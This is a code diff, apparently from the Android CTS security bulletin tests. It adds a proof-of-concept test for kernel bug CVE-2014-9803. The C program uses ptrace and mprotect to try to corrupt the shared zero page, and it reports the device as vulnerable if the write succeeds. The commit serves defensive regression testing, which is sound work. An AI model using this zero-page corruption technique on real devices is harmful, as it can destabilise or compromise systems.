[RESTRICT AUTOMERGE]: CTS test for Android Security CVE-2014-9803

Bug: 72507592
Bug: 28557020
Test: successful run of newly introduced test case.
Change-Id: I18b8f5092c0ae24905458089d228b025fdfb1368
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index d56f65f..9b576fa 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -62,6 +62,7 @@
         <!--__________________-->
         <!-- Bulletin 2016-07 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2014-9803->/data/local/tmp/CVE-2014-9803" />
         <option name="push" value="CVE-2016-3764->/data/local/tmp/CVE-2016-3764" />
         <option name="push" value="CVE-2016-3746->/data/local/tmp/CVE-2016-3746" />
         <option name="push" value="CVE-2016-3818->/data/local/tmp/CVE-2016-3818" />
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
new file mode 100644
index 0000000..e9ffee4
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2014-9803
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
new file mode 100644
index 0000000..6ab4633
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2014-9803/poc.c
@@ -0,0 +1,92 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <sys/mman.h>
+#include <sys/ptrace.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <../includes/common.h>
+
+volatile char *mem = 0;
+
+// child
+int check_zero_page() {
+  char *temp =
+      (char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  int zeropage = *(int *)temp;
+  munmap(temp, 4096);
+  return zeropage;
+}
+
+// child
+int do_child(int val) {
+  // enable tracing and wait until parent is finished unlocking zero page
+  ptrace(PTRACE_TRACEME, 0, 0, 0);
+  sleep(2);
+
+  mprotect((void *)mem, 4096, PROT_READ | PROT_WRITE);
+
+  // try to corrupt zero page
+  mem[0] = val;
+
+  int zeropage = check_zero_page();
+  return zeropage ? EXIT_VULNERABLE : 0;
+}
+
+// parent
+int do_trace(pid_t child) {
+  int status = 0;
+  sleep(1); // wait until child is set up
+  kill(child, SIGSTOP); // pause child
+  waitpid(child, &status, 0);
+
+  // unlock zero page
+  status = ptrace(PTRACE_PEEKDATA, child, mem, 0);
+
+  // stop tracing so child can continue
+  ptrace(PTRACE_DETACH, child, 0, 0);
+  kill(child, SIGCONT);
+  return status;
+}
+
+int main(void) {
+
+  char value = 0xAA;
+
+  mem = (volatile char *)mmap(0, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+  mprotect((void *)mem, 4096, PROT_NONE);
+
+  pid_t child = fork();
+
+  if (child == 0) {
+    return do_child(value);
+  } else {
+    do_trace(child);
+  }
+
+  int status = 0;
+  waitpid(child, &status, 0); // wait for child to exit naturally
+  int exit = WEXITSTATUS(status); // get child exit status
+
+  munmap((void *)mem, 4096);
+
+  return exit;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
index c84de04..7de5f7b 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_07.java
@@ -38,7 +38,7 @@
         assertNotMatchesMultiLine("Fatal signal[\\s\\S]*>>> /system/bin/mediaserver <<<",
                 logcat);
     }
- 
+
     /**
      *  b/28377502
      */
@@ -48,4 +48,12 @@
         AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2016-3764", getDevice(), 60);
         getDevice().executeShellCommand("rm /sdcard/CVE-2016-3764.ts");
     }
+
+    /**
+     *  b/28557020
+     */
+    @SecurityTest(minPatchLevel = "2016-07")
+    public void testPocCVE_2014_9803() throws Exception {
+        AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2014-9803", getDevice(), 60);
+    }
 }